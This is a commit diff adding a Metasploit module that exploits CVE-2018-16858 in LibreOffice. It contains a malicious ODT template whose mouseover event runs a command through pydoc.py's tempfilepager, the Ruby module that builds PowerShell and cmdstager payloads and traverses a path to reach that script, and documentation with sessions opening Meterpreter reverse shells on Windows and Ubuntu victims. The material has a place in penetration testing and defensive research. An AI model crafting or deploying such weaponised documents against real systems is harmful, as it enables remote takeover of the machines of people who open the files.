Land #11729, Add Libreoffice macro exec exploit module
parent
e2cdecd65a
commit
f5057fb18c
|
@ -0,0 +1,46 @@
|
||||||
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
|
|
||||||
|
<office:document xmlns:office="urn:oasis:names:tc:opendocument:xmlns:office:1.0" xmlns:style="urn:oasis:names:tc:opendocument:xmlns:style:1.0" xmlns:text="urn:oasis:names:tc:opendocument:xmlns:text:1.0" xmlns:table="urn:oasis:names:tc:opendocument:xmlns:table:1.0" xmlns:draw="urn:oasis:names:tc:opendocument:xmlns:drawing:1.0" xmlns:fo="urn:oasis:names:tc:opendocument:xmlns:xsl-fo-compatible:1.0" xmlns:xlink="http://www.w3.org/1999/xlink" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:meta="urn:oasis:names:tc:opendocument:xmlns:meta:1.0" xmlns:number="urn:oasis:names:tc:opendocument:xmlns:datastyle:1.0" xmlns:svg="urn:oasis:names:tc:opendocument:xmlns:svg-compatible:1.0" xmlns:chart="urn:oasis:names:tc:opendocument:xmlns:chart:1.0" xmlns:dr3d="urn:oasis:names:tc:opendocument:xmlns:dr3d:1.0" xmlns:math="http://www.w3.org/1998/Math/MathML" xmlns:form="urn:oasis:names:tc:opendocument:xmlns:form:1.0" xmlns:script="urn:oasis:names:tc:opendocument:xmlns:script:1.0" xmlns:config="urn:oasis:names:tc:opendocument:xmlns:config:1.0" xmlns:ooo="http://openoffice.org/2004/office" xmlns:ooow="http://openoffice.org/2004/writer" xmlns:oooc="http://openoffice.org/2004/calc" xmlns:dom="http://www.w3.org/2001/xml-events" xmlns:xforms="http://www.w3.org/2002/xforms" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:rpt="http://openoffice.org/2005/report" xmlns:of="urn:oasis:names:tc:opendocument:xmlns:of:1.2" xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns:grddl="http://www.w3.org/2003/g/data-view#" xmlns:officeooo="http://openoffice.org/2009/office" xmlns:tableooo="http://openoffice.org/2009/table" xmlns:drawooo="http://openoffice.org/2010/draw" xmlns:calcext="urn:org:documentfoundation:names:experimental:calc:xmlns:calcext:1.0" xmlns:loext="urn:org:documentfoundation:names:experimental:office:xmlns:loext:1.0" xmlns:field="urn:openoffice:names:experimental:ooo-ms-interop:xmlns:field:1.0" xmlns:formx="urn:openoffice:names:experimental:ooxml-odf-interop:xmlns:form:1.0" xmlns:css3t="http://www.w3.org/TR/css3-text/" office:version="1.2" office:mimetype="application/vnd.oasis.opendocument.text">
|
||||||
|
<office:meta><meta:creation-date>2019-01-30T10:53:06.762000000</meta:creation-date><dc:date>2019-01-30T10:53:49.512000000</dc:date><meta:editing-duration>PT44S</meta:editing-duration><meta:editing-cycles>1</meta:editing-cycles><meta:document-statistic meta:table-count="0" meta:image-count="0" meta:object-count="0" meta:page-count="1" meta:paragraph-count="1" meta:word-count="1" meta:character-count="4" meta:non-whitespace-character-count="4"/><meta:generator>LibreOffice/6.1.2.1$Windows_X86_64 LibreOffice_project/65905a128db06ba48db947242809d14d3f9a93fe</meta:generator></office:meta>
|
||||||
|
<office:scripts>
|
||||||
|
<office:script script:language="ooo:Basic">
|
||||||
|
<ooo:libraries xmlns:ooo="http://openoffice.org/2004/office" xmlns:xlink="http://www.w3.org/1999/xlink">
|
||||||
|
<ooo:library-embedded ooo:name="Standard"/>
|
||||||
|
</ooo:libraries>
|
||||||
|
</office:script>
|
||||||
|
</office:scripts>
|
||||||
|
<office:styles>
|
||||||
|
<style:default-style style:family="graphic">
|
||||||
|
<style:graphic-properties svg:stroke-color="#3465a4" draw:fill-color="#729fcf" fo:wrap-option="no-wrap" draw:shadow-offset-x="0.1181in" draw:shadow-offset-y="0.1181in" draw:start-line-spacing-horizontal="0.1114in" draw:start-line-spacing-vertical="0.1114in" draw:end-line-spacing-horizontal="0.1114in" draw:end-line-spacing-vertical="0.1114in" style:flow-with-text="false"/>
|
||||||
|
<style:paragraph-properties style:text-autospace="ideograph-alpha" style:line-break="strict" style:font-independent-line-spacing="false">
|
||||||
|
<style:tab-stops/>
|
||||||
|
</style:paragraph-properties>
|
||||||
|
<style:text-properties style:use-window-font-color="true" style:font-name="Liberation Serif" fo:font-size="96pt" fo:language="en" fo:country="US" style:letter-kerning="true" style:font-name-asian="NSimSun" style:font-size-asian="96pt" style:language-asian="zh" style:country-asian="CN" style:font-name-complex="Arial" style:font-size-complex="96pt" style:language-complex="hi" style:country-complex="IN"/>
|
||||||
|
</style:default-style>
|
||||||
|
<style:default-style style:family="paragraph">
|
||||||
|
<style:paragraph-properties fo:orphans="2" fo:widows="2" fo:hyphenation-ladder-count="no-limit" style:text-autospace="ideograph-alpha" style:punctuation-wrap="hanging" style:line-break="strict" style:tab-stop-distance="0.4925in" style:writing-mode="page"/>
|
||||||
|
<style:text-properties style:use-window-font-color="true" style:font-name="Liberation Serif" fo:font-size="96pt" fo:language="en" fo:country="US" style:letter-kerning="true" style:font-name-asian="NSimSun" style:font-size-asian="96pt" style:language-asian="zh" style:country-asian="CN" style:font-name-complex="Arial" style:font-size-complex="96pt" style:language-complex="hi" style:country-complex="IN" fo:hyphenate="false" fo:hyphenation-remain-char-count="2" fo:hyphenation-push-char-count="2"/>
|
||||||
|
</style:default-style>
|
||||||
|
<style:default-style style:family="table">
|
||||||
|
<style:table-properties table:border-model="collapsing"/>
|
||||||
|
</style:default-style>
|
||||||
|
<style:default-style style:family="table-row">
|
||||||
|
<style:table-row-properties fo:keep-together="auto"/>
|
||||||
|
</style:default-style>
|
||||||
|
<style:style style:name="Standard" style:family="paragraph" style:class="text"/>
|
||||||
|
<style:style style:name="Text_20_body" style:display-name="Text body" style:family="paragraph" style:parent-style-name="Standard" style:class="text">
|
||||||
|
<style:paragraph-properties fo:margin-top="0in" fo:margin-bottom="0.0972in" loext:contextual-spacing="false" fo:line-height="115%"/>
|
||||||
|
</style:style>
|
||||||
|
<style:style style:name="Internet_20_link" style:display-name="Internet link" style:family="text">
|
||||||
|
<style:text-properties fo:color="#ffffff" fo:language="zxx" fo:country="none" style:text-underline-style="solid" style:text-underline-width="auto" style:text-underline-color="font-color" style:language-asian="zxx" style:country-asian="none" style:language-complex="zxx" style:country-complex="none"/>
|
||||||
|
</style:style>
|
||||||
|
</office:styles>
|
||||||
|
<office:master-styles>
|
||||||
|
<style:master-page style:name="Standard" style:page-layout-name="pm1"/>
|
||||||
|
</office:master-styles>
|
||||||
|
<office:body>
|
||||||
|
<office:text>
|
||||||
|
<text:p text:style-name="Standard"><text:a xlink:type="simple" xlink:href="http://<%=text_content%>/" text:style-name="Internet_20_link" text:visited-style-name="Visited_20_Internet_20_Link"><office:event-listeners><script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:<%= path %>$tempfilepager(1, <%= @cmd %>)?language=Python&location=share" xlink:type="simple"/></office:event-listeners><text:span text:style-name="T1"><%= text_content %></text:span></text:a></text:p>
|
||||||
|
</office:text>
|
||||||
|
</office:body>
|
||||||
|
</office:document>
|
|
@ -0,0 +1,98 @@
|
||||||
|
## Description
|
||||||
|
|
||||||
|
This module exploits a directory traversal vulnerability in LibreOffice `v6.1.0-6.1.2.1` that enables remote code execution.
|
||||||
|
Note: `6.0.x` and `6.1.3.x` versions are reportedly vulnerable to the directory traversal attack, but are not exploitable by
|
||||||
|
this module due to the lack of ability to pass arguments.
|
||||||
|
|
||||||
|
LibreOffice comes bundled with sample macros written in Python and allows the ability to bind program events
|
||||||
|
to them. A macro can be tied to a program event by including the script that contains the macro and the function
|
||||||
|
name to be executed. Additionally, a directory traversal vulnerability exists in the component that references the
|
||||||
|
Python script to be executed. This allows a program event to execute functions from Python scripts relative to the
|
||||||
|
path of the samples macros folder. The `pydoc.py` script included with LibreOffice contains the `tempfilepager` function
|
||||||
|
that passes arguments to `os.system`, allowing RCE.
|
||||||
|
|
||||||
|
This module generates an ODT file with a mouse over event that when triggered, will execute arbitrary code.
|
||||||
|
|
||||||
|
## Vulnerable Application
|
||||||
|
|
||||||
|
LibreOffice `v6.1.0-6.1.4.1`. Vulnerable versions for both Windows and Linux can be found [here](https://downloadarchive.documentfoundation.org/libreoffice/old/).
|
||||||
|
|
||||||
|
## Verification Steps
|
||||||
|
|
||||||
|
1. Install the application
|
||||||
|
2. Start msfconsole
|
||||||
|
3. Do: ```use exploit/multi/fileformat/libreoffice_macro_exec```
|
||||||
|
4. Do: ```set FILENAME <name>```
|
||||||
|
5. Do: ```set LHOST <ip>```
|
||||||
|
6. Do: ```set LPORT <port>```
|
||||||
|
7. Do: ```run```
|
||||||
|
8. Move the generated file to the target
|
||||||
|
9. Start a handler
|
||||||
|
10. Open the file with a vulnerable version of LibreOffice
|
||||||
|
11. You should get a shell.
|
||||||
|
|
||||||
|
## Scenarios
|
||||||
|
|
||||||
|
### Tested on LibreOffice 6.1.2.1 running Windows 7
|
||||||
|
|
||||||
|
```
|
||||||
|
msf5 > use exploit/multi/fileformat/libreoffice_macro_exec
|
||||||
|
msf5 exploit(multi/fileformat/libreoffice_macro_exec) > set lhost 192.168.37.1
|
||||||
|
lhost => 192.168.37.1
|
||||||
|
msf5 exploit(multi/fileformat/libreoffice_macro_exec) > run
|
||||||
|
|
||||||
|
[+] librefile.odt stored at /Users/space/.msf4/local/librefile.odt
|
||||||
|
msf5 exploit(multi/fileformat/libreoffice_macro_exec) > use multi/handler
|
||||||
|
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
|
||||||
|
payload => windows/meterpreter/reverse_tcp
|
||||||
|
msf5 exploit(multi/handler) > set lhost 192.168.37.1
|
||||||
|
lhost => 192.168.37.1
|
||||||
|
msf5 exploit(multi/handler) > run
|
||||||
|
|
||||||
|
[*] Started reverse TCP handler on 192.168.37.1:4444
|
||||||
|
[*] Sending stage (179779 bytes) to 192.168.37.156
|
||||||
|
[*] Meterpreter session 1 opened (192.168.37.1:4444 -> 192.168.37.156:49180) at 2019-04-12 15:14:04 -0500
|
||||||
|
|
||||||
|
meterpreter > getuid
|
||||||
|
Server username: WIN-MGMN7ND70I1\a_user
|
||||||
|
meterpreter > sysinfo
|
||||||
|
Computer : WIN-MGMN7ND70I1
|
||||||
|
OS : Windows 7 (Build 7601, Service Pack 1).
|
||||||
|
Architecture : x64
|
||||||
|
System Language : en_US
|
||||||
|
Domain : WORKGROUP
|
||||||
|
Logged On Users : 1
|
||||||
|
Meterpreter : x86/windows
|
||||||
|
```
|
||||||
|
|
||||||
|
### Tested on LibreOffice 6.1.0.1 running Ubuntu 18.04
|
||||||
|
|
||||||
|
```
|
||||||
|
msf5 > use exploit/multi/fileformat/libreoffice_macro_exec
|
||||||
|
msf5 exploit(multi/fileformat/libreoffice_macro_exec) > set target 1
|
||||||
|
target => 1
|
||||||
|
msf5 exploit(multi/fileformat/libreoffice_macro_exec) > set lhost 192.168.37.1
|
||||||
|
lhost => 192.168.37.1
|
||||||
|
msf5 exploit(multi/fileformat/libreoffice_macro_exec) > run
|
||||||
|
|
||||||
|
[+] librefile.odt stored at /Users/space/.msf4/local/librefile.odt
|
||||||
|
msf5 exploit(multi/fileformat/libreoffice_macro_exec) > use multi/handler
|
||||||
|
msf5 exploit(multi/handler) > set payload linux/x86/meterpreter/reverse_tcp
|
||||||
|
payload => linux/x86/meterpreter/reverse_tcp
|
||||||
|
msf5 exploit(multi/handler) > set LHOST 192.168.37.1
|
||||||
|
LHOST => 192.168.37.1
|
||||||
|
msf5 exploit(multi/handler) > run
|
||||||
|
|
||||||
|
[*] Started reverse TCP handler on 192.168.37.1:4444
|
||||||
|
[*] Sending stage (985320 bytes) to 192.168.37.174
|
||||||
|
[*] Meterpreter session 1 opened (192.168.37.1:4444 -> 192.168.37.174:39912) at 2019-04-12 14:50:08 -0500
|
||||||
|
|
||||||
|
meterpreter > getuid
|
||||||
|
Server username: uid=1000, gid=1000, euid=1000, egid=1000
|
||||||
|
meterpreter > sysinfo
|
||||||
|
Computer : 192.168.37.174
|
||||||
|
OS : Ubuntu 18.04 (Linux 4.18.0-16-generic)
|
||||||
|
Architecture : x64
|
||||||
|
BuildTuple : i486-linux-musl
|
||||||
|
Meterpreter : x86/linux
|
||||||
|
```
|
|
@ -0,0 +1,115 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: https://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
class MetasploitModule < Msf::Exploit::Remote
|
||||||
|
Rank = NormalRanking
|
||||||
|
|
||||||
|
include Msf::Exploit::FILEFORMAT
|
||||||
|
include Msf::Exploit::Powershell
|
||||||
|
include Msf::Exploit::CmdStager
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'LibreOffice Macro Code Execution',
|
||||||
|
'Description' => %q{
|
||||||
|
LibreOffice comes bundled with sample macros written in Python and
|
||||||
|
allows the ability to bind program events to them. A macro can be tied
|
||||||
|
to a program event by including the script that contains the macro and
|
||||||
|
the function name to be executed. Additionally, a directory traversal
|
||||||
|
vulnerability exists in the component that references the Python script
|
||||||
|
to be executed. This allows a program event to execute functions from Python
|
||||||
|
scripts relative to the path of the samples macros folder. The pydoc.py script
|
||||||
|
included with LibreOffice contains the tempfilepager function that passes
|
||||||
|
arguments to os.system, allowing RCE.
|
||||||
|
|
||||||
|
This module generates an ODT file with a mouse over event that
|
||||||
|
when triggered, will execute arbitrary code.
|
||||||
|
},
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'Alex Inführ', # Vulnerability discovery and PoC
|
||||||
|
'Shelby Pace' # Metasploit Module
|
||||||
|
],
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
[ 'CVE', '2018-16858' ],
|
||||||
|
[ 'URL', 'https://insert-script.blogspot.com/2019/02/libreoffice-cve-2018-16858-remote-code.html' ]
|
||||||
|
],
|
||||||
|
'Platform' => [ 'win', 'linux' ],
|
||||||
|
'Arch' => [ ARCH_X86, ARCH_X64 ],
|
||||||
|
'Targets' =>
|
||||||
|
[
|
||||||
|
[
|
||||||
|
'Windows',
|
||||||
|
{
|
||||||
|
'Platform' => 'win',
|
||||||
|
'Arch' => [ ARCH_X86, ARCH_X64 ],
|
||||||
|
'Payload' => 'windows/meterpreter/reverse_tcp',
|
||||||
|
'DefaultOptions' => { 'PrependMigrate' => true }
|
||||||
|
}
|
||||||
|
],
|
||||||
|
[
|
||||||
|
'Linux',
|
||||||
|
{
|
||||||
|
'Platform' => 'linux',
|
||||||
|
'Arch' => [ ARCH_X86, ARCH_X64 ],
|
||||||
|
'Payload' => 'linux/x86/meterpreter/reverse_tcp',
|
||||||
|
'DefaultOptions' => { 'PrependFork' => true },
|
||||||
|
'CmdStagerFlavor' => 'printf',
|
||||||
|
}
|
||||||
|
]
|
||||||
|
],
|
||||||
|
'DisclosureDate' => "Oct 18, 2018",
|
||||||
|
'DefaultTarget' => 0
|
||||||
|
))
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
OptString.new('FILENAME', [true, 'Output file name', 'librefile.odt'])
|
||||||
|
])
|
||||||
|
end
|
||||||
|
|
||||||
|
def gen_windows_cmd
|
||||||
|
opts =
|
||||||
|
{
|
||||||
|
:remove_comspec => true,
|
||||||
|
:method => 'reflection',
|
||||||
|
:encode_final_payload => true
|
||||||
|
}
|
||||||
|
@cmd = cmd_psh_payload(payload.encoded, payload_instance.arch.first, opts)
|
||||||
|
@cmd << ' && echo'
|
||||||
|
end
|
||||||
|
|
||||||
|
def gen_linux_cmd
|
||||||
|
@cmd = generate_cmdstager.first
|
||||||
|
@cmd << ' && echo'
|
||||||
|
end
|
||||||
|
|
||||||
|
def gen_file(path)
|
||||||
|
text_content = Rex::Text.rand_text_alpha(10..15)
|
||||||
|
|
||||||
|
# file from Alex Inführ's PoC post referenced above
|
||||||
|
fodt_file = File.read(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2018-16858', 'librefile.erb'))
|
||||||
|
libre_file = ERB.new(fodt_file).result(binding())
|
||||||
|
libre_file
|
||||||
|
rescue Errno::ENOENT
|
||||||
|
fail_with(Failure::NotFound, 'Cannot find template file')
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
path = '../../../program/python-core-3.5.5/lib/pydoc.py'
|
||||||
|
if datastore['TARGET'] == 0
|
||||||
|
gen_windows_cmd
|
||||||
|
elsif datastore['TARGET'] == 1
|
||||||
|
gen_linux_cmd
|
||||||
|
else
|
||||||
|
fail_with(Failure::BadConfig, 'A formal target was not chosen.')
|
||||||
|
end
|
||||||
|
fodt_file = gen_file(path)
|
||||||
|
|
||||||
|
file_create(fodt_file)
|
||||||
|
end
|
||||||
|
end
|
Loading…
Reference in New Issue